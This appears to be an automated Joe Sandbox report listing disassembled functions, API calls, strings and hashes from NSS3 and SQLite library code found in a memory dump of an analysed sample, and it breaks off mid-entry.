Instruction Fuzzy Hash: B821E7B1D002055FEB00AFA8DC45AEEB7B8FF49318F544129D90AA7700F732A968CBD1

Function 6CC07F50 Relevance: 9.1, APIs: 6, Instructions: 76memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CC07F68

Part of subcall function 6CC60FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CC087ED,00000800,6CBFEF74,00000000), ref: 6CC61000
Part of subcall function 6CC60FF0: PR_NewLock.NSS3(?,00000800,6CBFEF74,00000000), ref: 6CC61016
Part of subcall function 6CC60FF0: PL_InitArenaPool.NSS3(00000000,security,6CC087ED,00000008,?,00000800,6CBFEF74,00000000), ref: 6CC6102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000002C), ref: 6CC07F7B

Part of subcall function 6CC610C0: TlsGetValue.KERNEL32(?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC610F3
Part of subcall function 6CC610C0: EnterCriticalSection.KERNEL32(?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC6110C
Part of subcall function 6CC610C0: PL_ArenaAllocate.NSS3(?,?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC61141
Part of subcall function 6CC610C0: PR_Unlock.NSS3(?,?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC61182
Part of subcall function 6CC610C0: TlsGetValue.KERNEL32(?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC6119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CC07FA7

Part of subcall function 6CC5FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CC58D2D,?,00000000,?), ref: 6CC5FB85
Part of subcall function 6CC5FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CC5FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CD2919C,?), ref: 6CC07FBB

Part of subcall function 6CC5B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CD318D0,?), ref: 6CC5B095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CC07FCA
SEC_QuickDERDecodeItem_Util.NSS3(00000000,-00000004,6CD2915C,00000014), ref: 6CC07FFE

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_Arena_DecodeQuickValue$AllocateCopyCriticalEnterErrorFreeInitLockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1489184013-0
Opcode ID: 91ac0bce6154a3eb0efc076aa56bdc51e568c22c6f85adc63bcad792c7a5a58e
Instruction ID: a6f87824862271252e358b57488fdbaead2ffa2f52f2ed4dec2c98c614beecfb
Opcode Fuzzy Hash: 91ac0bce6154a3eb0efc076aa56bdc51e568c22c6f85adc63bcad792c7a5a58e
Instruction Fuzzy Hash: F3113AB1E002045BFB14AA299D90BBB77ECDF4469CF00062DFC59D2B41F721A958C7B6

Function 6CC0BE50 Relevance: 9.1, APIs: 6, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,6CC8DC29,?), ref: 6CC0BE64

Part of subcall function 6CC60FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CC087ED,00000800,6CBFEF74,00000000), ref: 6CC61000
Part of subcall function 6CC60FF0: PR_NewLock.NSS3(?,00000800,6CBFEF74,00000000), ref: 6CC61016
Part of subcall function 6CC60FF0: PL_InitArenaPool.NSS3(00000000,security,6CC087ED,00000008,?,00000800,6CBFEF74,00000000), ref: 6CC6102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C,?,6CC8DC29,?), ref: 6CC0BE78

Part of subcall function 6CC610C0: TlsGetValue.KERNEL32(?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC610F3
Part of subcall function 6CC610C0: EnterCriticalSection.KERNEL32(?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC6110C
Part of subcall function 6CC610C0: PL_ArenaAllocate.NSS3(?,?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC61141
Part of subcall function 6CC610C0: PR_Unlock.NSS3(?,?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC61182
Part of subcall function 6CC610C0: TlsGetValue.KERNEL32(?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC6119C

PORT_ArenaAlloc_Util.NSS3(00000000,?,?,?,?,6CC8DC29,?), ref: 6CC0BE96

Part of subcall function 6CC610C0: PL_ArenaAllocate.NSS3(?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC6116E

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,?,6CC8DC29,?), ref: 6CC0BEBB

Part of subcall function 6CC5FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CC58D2D,?,00000000,?), ref: 6CC5FB85
Part of subcall function 6CC5FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CC5FBB1

PR_SetError.NSS3(FFFFE013,00000000,?,6CC8DC29,?), ref: 6CC0BEDF
PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,6CC8DC29,?), ref: 6CC0BEF3

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_Value$CopyCriticalEnterErrorFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 3111646008-0
Opcode ID: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction ID: 4328fe50bee2b37f2022ce6890c1dd2319e8f5a96d419eed7c1bde9725119fa8
Opcode Fuzzy Hash: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction Fuzzy Hash: 3711A571F002155BEB00CB659D55FAA37A8AB41259F140028ED18EBB80FB32D919C7A1

Function 6CC93C80 Relevance: 9.1, APIs: 6, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 6CC95B40: PR_GetIdentitiesLayer.NSS3 ref: 6CC95B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC93D3F

Part of subcall function 6CC0BA90: PORT_NewArena_Util.NSS3(00000800,6CC93CAF,?), ref: 6CC0BABF
Part of subcall function 6CC0BA90: PORT_ArenaAlloc_Util.NSS3(00000000,00000010,?,6CC93CAF,?), ref: 6CC0BAD5
Part of subcall function 6CC0BA90: PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,6CC93CAF,?), ref: 6CC0BB08
Part of subcall function 6CC0BA90: memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6CC93CAF,?), ref: 6CC0BB1A
Part of subcall function 6CC0BA90: SECITEM_CopyItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,6CC93CAF,?), ref: 6CC0BB3B

PR_EnterMonitor.NSS3(?), ref: 6CC93CCB

Part of subcall function 6CCC9090: TlsGetValue.KERNEL32 ref: 6CCC90AB
Part of subcall function 6CCC9090: TlsGetValue.KERNEL32 ref: 6CCC90C9
Part of subcall function 6CCC9090: EnterCriticalSection.KERNEL32 ref: 6CCC90E5
Part of subcall function 6CCC9090: TlsGetValue.KERNEL32 ref: 6CCC9116
Part of subcall function 6CCC9090: LeaveCriticalSection.KERNEL32 ref: 6CCC913F

PR_EnterMonitor.NSS3(?), ref: 6CC93CE2
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CC93CF8
PR_ExitMonitor.NSS3(?), ref: 6CC93D15
PR_ExitMonitor.NSS3(?), ref: 6CC93D2E

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Util$Monitor$EnterValue$Alloc_ArenaArena_CriticalExitSection$CopyErrorFreeIdentitiesItem_LayerLeavememset
String ID:
API String ID: 4030862364-0
Opcode ID: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction ID: 85d5ff5d465156547ff6879ed3e717019ecb4afb64fdb131654fdae44ae928df
Opcode Fuzzy Hash: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction Fuzzy Hash: 4211C876A20600AFE7209E65EC9179BB2E5AB1120DF544534E41E87B70F732E919C653

Function 6CC5FDF0 Relevance: 9.1, APIs: 6, Instructions: 60memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6CC5FE08

Part of subcall function 6CC610C0: TlsGetValue.KERNEL32(?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC610F3
Part of subcall function 6CC610C0: EnterCriticalSection.KERNEL32(?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC6110C
Part of subcall function 6CC610C0: PL_ArenaAllocate.NSS3(?,?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC61141
Part of subcall function 6CC610C0: PR_Unlock.NSS3(?,?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC61182
Part of subcall function 6CC610C0: TlsGetValue.KERNEL32(?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC6119C

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6CC5FE1D

Part of subcall function 6CC610C0: PL_ArenaAllocate.NSS3(?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC6116E

PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6CC5FE29
PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6CC5FE3D
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6CC5FE62
free.MOZGLUE(00000000,?,?,?,?), ref: 6CC5FE6F

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil$AllocateValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 660648399-0
Opcode ID: 887371c1b762bbf1ea9d8e2b4af6d20c8e9a6707ecab64414bae4e78a8547b87
Instruction ID: 7275dfc449a76e0622a80b3ff0a4e12db0204827e641c7952fe8f9f78c298b15
Opcode Fuzzy Hash: 887371c1b762bbf1ea9d8e2b4af6d20c8e9a6707ecab64414bae4e78a8547b87
Instruction Fuzzy Hash: 921108B6701201AFEB048F65EC80A5B7398AF58299F648034E91C97F12F771E935C795

Function 6CD0FD90 Relevance: 9.1, APIs: 6, Instructions: 51COMMON

Download Yara Rule

APIs

PR_Lock.NSS3 ref: 6CD0FD9E

Part of subcall function 6CCC9BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CBF1A48), ref: 6CCC9BB3
Part of subcall function 6CCC9BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CBF1A48), ref: 6CCC9BC8

PR_WaitCondVar.NSS3(000000FF), ref: 6CD0FDB9

Part of subcall function 6CBEA900: TlsGetValue.KERNEL32(00000000,?,6CD614E4,?,6CB84DD9), ref: 6CBEA90F
Part of subcall function 6CBEA900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6CBEA94F

PR_Unlock.NSS3 ref: 6CD0FDD4
PR_Lock.NSS3 ref: 6CD0FDF2
PR_NotifyAllCondVar.NSS3 ref: 6CD0FE0D
PR_Unlock.NSS3 ref: 6CD0FE23

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: CondLockUnlockValue$CriticalEnterNotifySectionWait
String ID:
API String ID: 3365241057-0
Opcode ID: cb355dd3967cfd9da861d5e83812be981b0631a385a7c178344df4b08fb70ec2
Instruction ID: 5f7deac20903aef4737531b1777a51b4baa9d1d85835cc73626fb155675ebbb2
Opcode Fuzzy Hash: cb355dd3967cfd9da861d5e83812be981b0631a385a7c178344df4b08fb70ec2
Instruction Fuzzy Hash: 410165B6F04141ABDF144F56FC108557635BB12368B154378E92647BF1F722ED28C6D2

Function 6CBEAE30 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CDD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CBEAFDA

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CBEAFC4
%s at line %d of [%.10s], xrefs: 6CBEAFD3
misuse, xrefs: 6CBEAFCE
unable to delete/modify collation sequence due to active statements, xrefs: 6CBEAF5C

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify collation sequence due to active statements
API String ID: 632333372-924978290
Opcode ID: 273cd22326e2bc959a1f2a028a840b2189313bab70c20064b2ff47b05d4670bb
Instruction ID: 3a8468412e9bc87af187b81d8fffcd2b021b25ad86021667023cd96e15148913
Opcode Fuzzy Hash: 273cd22326e2bc959a1f2a028a840b2189313bab70c20064b2ff47b05d4670bb
Instruction Fuzzy Hash: F491F071A002958FDB04CF69C890BAABBF5FF49754F1940A8E865AB791C334EC01CFA1

Function 6CC4FC30 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 156stringCOMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(?,pkcs11:,00000007), ref: 6CC4FC55
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CC4FCB2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6CC4FDB7
PR_SetError.NSS3(FFFFE09A,00000000), ref: 6CC4FDDE

Part of subcall function 6CC58800: TlsGetValue.KERNEL32(?,6CC6085A,00000000,?,6CC08369,?), ref: 6CC58821
Part of subcall function 6CC58800: TlsGetValue.KERNEL32(?,?,6CC6085A,00000000,?,6CC08369,?), ref: 6CC5883D
Part of subcall function 6CC58800: EnterCriticalSection.KERNEL32(?,?,?,6CC6085A,00000000,?,6CC08369,?), ref: 6CC58856
Part of subcall function 6CC58800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6CC58887
Part of subcall function 6CC58800: PR_Unlock.NSS3(?,?,?,?,6CC6085A,00000000,?,6CC08369,?), ref: 6CC58899

Strings

pkcs11:, xrefs: 6CC4FC4F

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: ErrorValue$CondCriticalEnterL_strncasecmpSectionUnlockWaitstrcmp
String ID: pkcs11:
API String ID: 362709927-2446828420
Opcode ID: a3184e30912ba0140058c8aebf7abed194c9483d588041fe087bdef6ca0a5143
Instruction ID: a5c5d170dfedd5ec0185b55a6e003f0d8ac76c7ad06e38e16f39d3186bd77c75
Opcode Fuzzy Hash: a3184e30912ba0140058c8aebf7abed194c9483d588041fe087bdef6ca0a5143
Instruction Fuzzy Hash: 5B51DFB1A401219FEB108F6A9C40FAA3775BF4035CF55C0A9DD046BB51FB30E924CBA2

Function 6CCA1D40 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000,?,?,?,?,?,?,?,?,?,?,-00000001,?,6CCA0DC8), ref: 6CCA1DC2
PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,-00000001), ref: 6CCA1E4B
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CCA1E5E
PK11_FreeSymKey.NSS3(000005DE), ref: 6CCA1E6A

Strings

derived, xrefs: 6CCA1DA3

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: ErrorFreeK11_
String ID: derived
API String ID: 4136325949-2109279238
Opcode ID: 7e9c01be0b63ff45717e15733dfb270be420169b0fbf6c06bcab7fbc55d296aa
Instruction ID: f48769fb6ac990eb2e7684da775f8c03193ba26a636e742cb4c6cd7979236678
Opcode Fuzzy Hash: 7e9c01be0b63ff45717e15733dfb270be420169b0fbf6c06bcab7fbc55d296aa
Instruction Fuzzy Hash: B5318572F00607EFFB21CAFDDC4DBE773A8AB15308F140469E559D6A41F621E9068BA1

Function 6CB8BDA0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 94COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(00000000,?,?), ref: 6CB8BE02

Part of subcall function 6CCB9C40: memcmp.VCRUNTIME140(?,00000000,6CB8C52B), ref: 6CCB9D53

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014A8E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CB8BE9F

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB8BE89
%s at line %d of [%.10s], xrefs: 6CB8BE98
database corruption, xrefs: 6CB8BE93

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: memcmp$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1135338897-598938438
Opcode ID: 79120b2e89737b5e1e4bbcfa31a735874e263516b43bce49e4eaddef44bc55e1
Instruction ID: 13e44e5212134653dece25a9278cbfdfa2d62533a276547b6032972021f5947c
Opcode Fuzzy Hash: 79120b2e89737b5e1e4bbcfa31a735874e263516b43bce49e4eaddef44bc55e1
Instruction Fuzzy Hash: EF314731A456969FC700CF79CCD4A6BBBA1AF46316B098954EE481BB51D730EC05C3E1

Function 6CBF0DC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140(00000000,0000005C,00000000,00000000,00000000,?,6CBF0BDE), ref: 6CBF0DCB
strrchr.VCRUNTIME140(00000000,0000005C,?,6CBF0BDE), ref: 6CBF0DEA
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(00000001,00000001,?,?,?,6CBF0BDE), ref: 6CBF0DFC
PR_LogPrint.NSS3(%s incr => %d (find lib),?,?,?,?,?,?,?,6CBF0BDE), ref: 6CBF0E32

Strings

%s incr => %d (find lib), xrefs: 6CBF0E2D

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: strrchr$Print_stricmp
String ID: %s incr => %d (find lib)
API String ID: 97259331-2309350800
Opcode ID: b9a4db74cf2da3c14782739933f72755138d52b3e7081c55dd790d2315b52bb9
Instruction ID: 8173980e6fe2846c324aa222e8eece06d01bfbe0e5a806eff34c0756f792f687
Opcode Fuzzy Hash: b9a4db74cf2da3c14782739933f72755138d52b3e7081c55dd790d2315b52bb9
Instruction Fuzzy Hash: 6201F172B00250AFE6209F25AC49E2773ADDB45A09B04442DEA19D3F61E761EC1986E1

Function 6CB99C60 Relevance: 7.8, APIs: 6, Instructions: 262COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CB99CF2
LeaveCriticalSection.KERNEL32(?), ref: 6CB99D45
EnterCriticalSection.KERNEL32(?), ref: 6CB99D8B
LeaveCriticalSection.KERNEL32(?), ref: 6CB99DDE

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: f939327826c4cbccac4ba3222fe328a854e027b5e94e299e98ba6eabbe092f22
Instruction ID: 98e03cac193cbba3b9a3d2bd2c39ac682185b6a503ab2823b887a2022b8167f0
Opcode Fuzzy Hash: f939327826c4cbccac4ba3222fe328a854e027b5e94e299e98ba6eabbe092f22
Instruction Fuzzy Hash: 09A19B31B041908FFB48EF69D89977E3779EB87715F18013DD60A46A40DB3AA845CBA3

Function 6CC21E70 Relevance: 7.7, APIs: 5, Instructions: 207COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(?), ref: 6CC21ECC

Part of subcall function 6CCC9090: TlsGetValue.KERNEL32 ref: 6CCC90AB
Part of subcall function 6CCC9090: TlsGetValue.KERNEL32 ref: 6CCC90C9
Part of subcall function 6CCC9090: EnterCriticalSection.KERNEL32 ref: 6CCC90E5
Part of subcall function 6CCC9090: TlsGetValue.KERNEL32 ref: 6CCC9116
Part of subcall function 6CCC9090: LeaveCriticalSection.KERNEL32 ref: 6CCC913F

TlsGetValue.KERNEL32 ref: 6CC21EDF
EnterCriticalSection.KERNEL32(?), ref: 6CC21EEF
PR_ExitMonitor.NSS3(?), ref: 6CC21F37
PR_Unlock.NSS3(?), ref: 6CC21F44

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
